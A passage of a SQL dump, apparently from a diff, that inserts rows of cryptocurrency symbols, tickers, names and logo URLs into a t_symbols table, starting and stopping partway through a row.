'altmarkets-coin', 'ALTM', 'Altmarkets Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/altmarkets-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3650, 'ctagtoken', 'CTAG', 'CTAGtoken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ctagtoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3651, 'subaj-global-network', 'SBJ', 'Subaj Global Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/subaj-global-network.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3652, 'troya-coin', 'TROY', 'TROYA COIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/troya-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3653, 'bitcoin-tron', 'TRON', 'Bitcoin Tron', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-tron.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3654, 'xgoldcoin', 'XGOLD', 'XGOLDCOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xgoldcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3655, 'advertising-token', 'AVT', 'Advertising Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advertising-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3656, 'kryptoro', 'KTO', 'Kryptoro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kryptoro.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3657, 'xblocks', 'XBC', 'XBlocks', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xblocks.png', NULL); +INSERT INTO `t_symbols` VALUES (3658, 'yas-network', 'YAS', 'YAS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/yas-network.png', NULL); +INSERT INTO `t_symbols` VALUES (3659, 'dinoland', 'DNL', 'Dinoland', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/dinoland.png', NULL); +INSERT INTO `t_symbols` VALUES (3660, 'bscstoken', 'BSCS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/bscstation.png', NULL); +INSERT INTO `t_symbols` VALUES (3661, '2345-star-coin', 'STC', '2345 Star Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/2345-star-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3662, 'bitcar', 'BITCAR', 'BitCar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcar.png', NULL); +INSERT INTO `t_symbols` VALUES (3663, 'brn', 'BRN', 'Brainmab', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brn.png', NULL); +INSERT INTO `t_symbols` VALUES (3664, 'clipper-coin', 'CCC', 'Clipper Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clipper-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3665, 'ea-coin', 'EAG', 'EA Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ea-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3666, 'gad', 'GAD', 'Garuda Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gad.png', NULL); +INSERT INTO `t_symbols` VALUES (3667, 'messengerbank-metals-token', 'MBMT', 'MessengerBank Metals Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/messengerbank-metals-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3668, 'topchain', 'TOPC', 'TopChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/topchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3669, 'ethfinex-voting-tokens', 'EVT', 'EVT', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethfinex-voting-tokens.png', NULL); +INSERT INTO `t_symbols` VALUES (3670, 'zenome', 'ZNA', 'Zenome', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zenome.png', NULL); +INSERT INTO `t_symbols` VALUES (3671, 'arbicoin', 'ARBI', 'Arbicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/arbicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3672, 'point-of-public-coin', 'POPC', 'Point Of Public Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/point-of-public-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3673, 'hospital-coin', 'HOSP', 'Hospital Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hospital-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3674, 'zayka-token', 'ZAY', 'Zayka Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/zayka-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3675, 'advertisingcoin', 'ADVC', 'Advertisingcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/advertisingcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3676, 'awardcoin', 'AWR', 'Award', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/awardcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3677, 'bitdinero', 'XBR', 'BitDinero', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitdinero.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3678, 'dkey-bank', 'DKEY', 'DKEY Bank', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dkey-bank.png', NULL); +INSERT INTO `t_symbols` VALUES (3679, 'placewargovernance', 'PLACE', 'PlaceWar', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/.png', NULL); +INSERT INTO `t_symbols` VALUES (3680, 'authtrailtoken', 'AUT', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/authtrail.png', NULL); +INSERT INTO `t_symbols` VALUES (3681, 'nstars', 'NSTARS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/nafstars.png', NULL); +INSERT INTO `t_symbols` VALUES (3682, 'eaglecoin', 'EAGLE', 'EagleCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eaglecoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3683, 'insureum', 'ISR', 'Insureum', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/insureum.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3684, 'ninios', 'NNS', 'ninios', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ninios.png', NULL); +INSERT INTO `t_symbols` VALUES (3685, 'pelo', 'PELO', 'Pelo Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pelo.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3686, 'sealchain', 'SEAL', 'Sealchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/seal.png', NULL); +INSERT INTO `t_symbols` VALUES (3687, 'xny', 'XNY', 'Cryptonity', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xny.png', NULL); +INSERT INTO `t_symbols` VALUES (3688, 'trsoproject', 'TRSO', 'TRSO', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trsoproject.png', NULL); +INSERT INTO `t_symbols` VALUES (3689, 'toqqn', 'TQN', 'Toqqn', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/toqqn.png', NULL); +INSERT INTO `t_symbols` VALUES (3690, 'cryptolux', 'CLX', 'CryptoLux', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cryptolux.png', NULL); +INSERT INTO `t_symbols` VALUES (3691, 'hpay-coin', 'HPAY', 'HPAY Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hpay-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3692, 'tranium', 'TRM', 'Tranium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tranium.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3693, 'btc-alpha-token', 'BAC', 'BTC-Alpha Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/btc-alpha-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3694, 'ladder-network-token', 'LAD', 'Ladder Network Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ladder-network-token.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3695, 'cctime', 'XCT', 'CCTime', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/cctime.png', NULL); +INSERT INTO `t_symbols` VALUES (3696, 'coindd', 'CDD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coindd.png', NULL); +INSERT INTO `t_symbols` VALUES (3697, 'jigen', 'JIG', 'Jigen', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/jigen.png', NULL); +INSERT INTO `t_symbols` VALUES (3698, 'waterfallprotocol', 'WTF', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/waterfallprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3699, 'aseancoin', 'ASN', 'Aseancoin', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3700, 'bitclave', 'CAT', 'BitClave', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitclave.png', NULL); +INSERT INTO `t_symbols` VALUES (3701, 'brs', 'BRS', 'brs', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3702, 'clm', 'CLM', 'CoinClaim', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/clm.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3703, 'health-retail-chain', 'RED', 'Health Retail chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/health-retail-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3704, 'sec', 'SEC', 'Social Ecommerce Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/sec.png', NULL); +INSERT INTO `t_symbols` VALUES (3705, 'torchain', 'TOR', 'Torchain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torchain.png', NULL); +INSERT INTO `t_symbols` VALUES (3706, 'bitcoin-fast', 'BCF', 'Bitcoin Fast', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-fast.png', NULL); +INSERT INTO `t_symbols` VALUES (3707, 'electronero-pulse', 'ETNXP', 'Electronero Pulse', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/electronero-pulse.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3708, 'crowdclassic', 'CRCL', 'CRowdCLassic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crowdclassic.png', NULL); +INSERT INTO `t_symbols` VALUES (3709, 'dequant', 'DEQ', 'Dequant', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/dequant.png', NULL); +INSERT INTO `t_symbols` VALUES (3710, 'always-evolving', 'AEVO', 'Always Evolving', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/always-evolving.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3711, 'bullandbear', 'BB', 'BullAndBear', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bullandbear.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3712, 'lemonad', 'LAD', 'LemonAd', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lemonad.png', NULL); +INSERT INTO `t_symbols` VALUES (3713, 'xwc-dice-token', 'XDT', 'XWC Dice Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xwc-dice-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3714, 'one-on-one', 'OOO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/one-on-one.png', NULL); +INSERT INTO `t_symbols` VALUES (3715, 'coinburp', 'BURP', 'Burp', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/coinburp.png', NULL); +INSERT INTO `t_symbols` VALUES (3716, 'gems', 'GEMS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/gems.png', NULL); +INSERT INTO `t_symbols` VALUES (3717, 'asgcoin', 'ASGC', 'Asgcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/asgcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3718, 'brz', 'BRZ', 'Brazilian Digital', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/brz.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3719, 'healthcube', 'HCC', 'HealthCUBE', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthcube.png', NULL); +INSERT INTO `t_symbols` VALUES (3720, 'legalblock', 'LBK', 'LegalBlock', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/legalblock.png', NULL); +INSERT INTO `t_symbols` VALUES (3721, 'niobio-cash', 'NBR', 'Niobio', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niobio-cash.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3722, 'penc', 'PENC', 'Pencecoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/penc.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3723, 'torcoin-tor', 'TOR', 'Torcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torcoin-tor.png', NULL); +INSERT INTO `t_symbols` VALUES (3724, 'vertex-market', 'VTEX', 'Vertex', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/vertex-market.png', NULL); +INSERT INTO `t_symbols` VALUES (3725, 'girauno', 'GR1', 'Girauno', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/girauno.png', NULL); +INSERT INTO `t_symbols` VALUES (3726, 'udia', 'UDA', 'Udia', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/udia.png', NULL); +INSERT INTO `t_symbols` VALUES (3727, 'boxy-coin', 'BOXY', 'BOXY Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/boxy-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3728, 'swyft-network', 'SWYFT', 'SWYFT.Network', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swyft-network.png', NULL); +INSERT INTO `t_symbols` VALUES (3729, 'eblockcoin', 'EBCR', 'eBlockCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/eblockcoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3730, 'blue-baikal', 'BBC', 'Blue Baikal', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blue-baikal.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3731, 'lobitcoin', 'LBT', 'Lobitcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lobitcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3732, 'aigopay', 'XGP', 'AIGO Payment', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/aigopay.png', NULL); +INSERT INTO `t_symbols` VALUES (3733, 'akita-inu', 'AKITA', 'Akita Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/akita-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (3734, 'firewood', 'FOD', NULL, NULL, NULL); +INSERT INTO `t_symbols` VALUES (3735, 'chicks', 'CHICKS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/solchicks.png', NULL); +INSERT INTO `t_symbols` VALUES (3736, 'bitcloud-bpro', 'BPRO', 'BitCloud Pro', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcloud-bpro.png', NULL); +INSERT INTO `t_symbols` VALUES (3737, 'cloud', 'CLD', 'Cloud', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/Cloudwith_me.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3738, 'healthy-happy-harmony', 'HHH', 'Healthy Happy Harmony', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthy-happy-harmony.png', NULL); +INSERT INTO `t_symbols` VALUES (3739, 'metal-music-coin', 'MTLMC3', 'Metal Music Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/metalmusiccoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3740, 'torq', 'TORQ', 'TORQ Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/torq.png', NULL); +INSERT INTO `t_symbols` VALUES (3741, 'mate', 'MATE', 'mate', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/mate.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3742, 'merlin-coins', 'MERC', 'MERLIN COINS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/merlin-coins.png', NULL); +INSERT INTO `t_symbols` VALUES (3743, 'femicoin', 'FEMI', 'Femicoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/femicoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3744, 'alliance-cargo-direct', 'ACD', 'Alliance Cargo Direct', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/alliance-cargo-direct.png', NULL); +INSERT INTO `t_symbols` VALUES (3745, 'hydro-token', 'XHT', 'HYDRO TOKEN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hydro-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3746, 'crytrex-token', 'CRYT', 'CryTrEx Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/crytrex-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3747, 'blockbooster', 'BBT', 'BlockBooster', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/blockbooster.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3748, 'lightningcoin', 'LC', 'LightningCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lightningcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3749, 'gp-token', 'XGP', 'GP Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/gp-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3750, 'pearl-finance', 'PEARL', 'Pearl Finance', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/pearl.png', NULL); +INSERT INTO `t_symbols` VALUES (3751, 'cryptovszombie-cvztoken', 'CVZ', 'CryptoVsZombie', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/cryptovszombie.png', NULL); +INSERT INTO `t_symbols` VALUES (3752, 'vst', 'VST', 'Voice Street', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/voicestreet.png', NULL); +INSERT INTO `t_symbols` VALUES (3753, 'pine', 'PINE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/pineprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3754, 'earth-token', 'EARTH', 'Earth Token', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/earth-token.png', NULL); +INSERT INTO `t_symbols` VALUES (3755, 'healthylife', 'HELI', 'HealthyLife', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/healthylife.png', NULL); +INSERT INTO `t_symbols` VALUES (3756, 'metalcoin', 'METAL', 'MetalCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/screen_name/MetalCoinTeam.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3757, 'tosc', 'TOSC', 'TiOS', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/tosc.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3758, 'lumberscout', 'LUMBER', 'LUMBER', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lumberscout.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3759, 'bulpcoin', 'BULP', 'BulpCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bulpcoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3760, 'bravocoin', 'BRV', 'BravoCoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bravocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3761, 'kibicoin', 'KIC', 'KIBICOIN', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kibicoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3762, 'bitcoin-confidential', 'BC', 'Bitcoin Confidential', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-confidential.png', NULL); +INSERT INTO `t_symbols` VALUES (3763, 'love-chain', 'LC', 'Love Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/love-chain.png', NULL); +INSERT INTO `t_symbols` VALUES (3764, 'ethereum-lite-cash', 'XLC', 'Ethereum Lite Cash', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ethereum-lite-cash.png', NULL); +INSERT INTO `t_symbols` VALUES (3765, 'morpher', 'MPH', 'Morpher', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/morpher.png', NULL); +INSERT INTO `t_symbols` VALUES (3766, 'jiucaibi', 'JCC', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jiucaibi.png', NULL); +INSERT INTO `t_symbols` VALUES (3767, 'cyball', 'CYB', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/guildfi.png', NULL); +INSERT INTO `t_symbols` VALUES (3768, 'hxronetwork', 'HXRO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/hxronetwork.png', NULL); +INSERT INTO `t_symbols` VALUES (3769, 'mrhb', 'MRHB TOKEN', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/mrhbdefi.png', NULL); +INSERT INTO `t_symbols` VALUES (3770, 'mcade', 'MCADE', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1572526349503299585.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3771, '58b', '58B', '58b', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/58b.png', NULL); +INSERT INTO `t_symbols` VALUES (3772, 'galaxy-esolutions', 'GES', 'Galaxy eSolutions', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/galaxy-esolutions.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3773, 'lemochain', 'LEMO', 'LemoChain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/lemochain.png', NULL); +INSERT INTO `t_symbols` VALUES (3774, 'securecloudcoin', 'SC2', 'securecloudcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/securecloudcoin.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3775, 'xpc', 'XPC', 'Xpet Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpc.png', NULL); +INSERT INTO `t_symbols` VALUES (3776, 'swisscoin-classic', 'SICC', 'Swisscoin-Classic', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/swisscoin-classic.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3777, 'bitcoin-final', 'BTCF', 'Bitcoin Final', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bitcoin-final.png', NULL); +INSERT INTO `t_symbols` VALUES (3778, 'hanacoin', 'HANA', 'Hanacoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/hanacoin.png', NULL); +INSERT INTO `t_symbols` VALUES (3779, 'capra-coin', 'CPRA', 'Capra Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/capra-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3780, 'jolt-gas', 'JLG', 'Jolt Gas', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/jolt-gas.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3781, 'liquor-chain', 'LCT', 'Liquor chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/liquor-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3782, 'encocoin', 'XNK', 'Encocoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/encocoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3783, 'trucecad', 'TCAD', 'TrueCAD', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/trucecad.png', NULL); +INSERT INTO `t_symbols` VALUES (3784, 'uxdprotocoltoken', 'UXP', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/uxdprotocol.png', NULL); +INSERT INTO `t_symbols` VALUES (3785, 'geo', 'GEO', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/geopoly.png', NULL); +INSERT INTO `t_symbols` VALUES (3786, 'kilo-shiba-inu', 'KSHIB', 'Kilo Shiba Inu', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/kilo-shiba-inu.png', NULL); +INSERT INTO `t_symbols` VALUES (3787, 'exe-radiance', 'EXERAD', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/twitter/user_id/1506112354219880449.jpg', NULL); +INSERT INTO `t_symbols` VALUES (3788, 'bt', 'BT', 'bt', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3789, 'international-diamond', 'XID', 'International Diamond', NULL, NULL); +INSERT INTO `t_symbols` VALUES (3790, 'metanoia', 'NOIA', 'METANOIA', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/metanoia.png', NULL); +INSERT INTO `t_symbols` VALUES (3791, 'niu-coin-system', 'NCS', 'niu-coin-system', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/niu-coin-system.png', NULL); +INSERT INTO `t_symbols` VALUES (3792, 'xpense', 'XPS', 'Xpense', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xpense.png', NULL); +INSERT INTO `t_symbols` VALUES (3793, 'linktoken', 'LTK', 'LinkToken', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/linktoken.png', NULL); +INSERT INTO `t_symbols` VALUES (3794, 'victorium', 'VIC', 'Victorium', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/victorium.png', NULL); +INSERT INTO `t_symbols` VALUES (3795, 'artid', 'ARTID', 'Artid', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/artid.png', NULL); +INSERT INTO `t_symbols` VALUES (3796, 'xevenue-shares', 'XEV', 'Xevenue Shares', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/xevenue-shares.png', NULL); +INSERT INTO `t_symbols` VALUES (3797, 'muncoin', 'MUN', 'MUNcoin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/muncoin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3798, 'goldenfever', 'GFR', 'GoldenFever', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/goldenfever.png', NULL); +INSERT INTO `t_symbols` VALUES (3799, 'satellite-coin', 'STE', 'Satellite Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/satellite-coin.png', NULL); +INSERT INTO `t_symbols` VALUES (3800, 'bcg-chain', 'BCG', 'BCG Chain', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/bcg-chain.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3801, 'league-coin', 'LGA', 'League Coin', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/league-coin.jpeg', NULL); +INSERT INTO `t_symbols` VALUES (3802, 'ripaex', 'XPX', 'RipaEx', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/ripaex.png', NULL); +INSERT INTO `t_symbols` VALUES (3803, 'truegbp', 'TGBP', 'TrueGBP', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/coinInfo/truegbp.png', NULL); +INSERT INTO `t_symbols` VALUES (3804, 'polysynthtoken', 'POL', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/polysynth.png', NULL); +INSERT INTO `t_symbols` VALUES (3805, 'geos', 'GEOS', NULL, 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/geopoly.png', NULL); +INSERT INTO `t_symbols` VALUES (3806, 'luart', 'LUART', 'Luart', 'https://mifengcha.oss-cn-beijing.aliyuncs.com/static/investmentInfo/luart.png', NULL); +INSERT INTO `t_symbols` VALUES (3807, 'mover', 'MOVER', NULL, 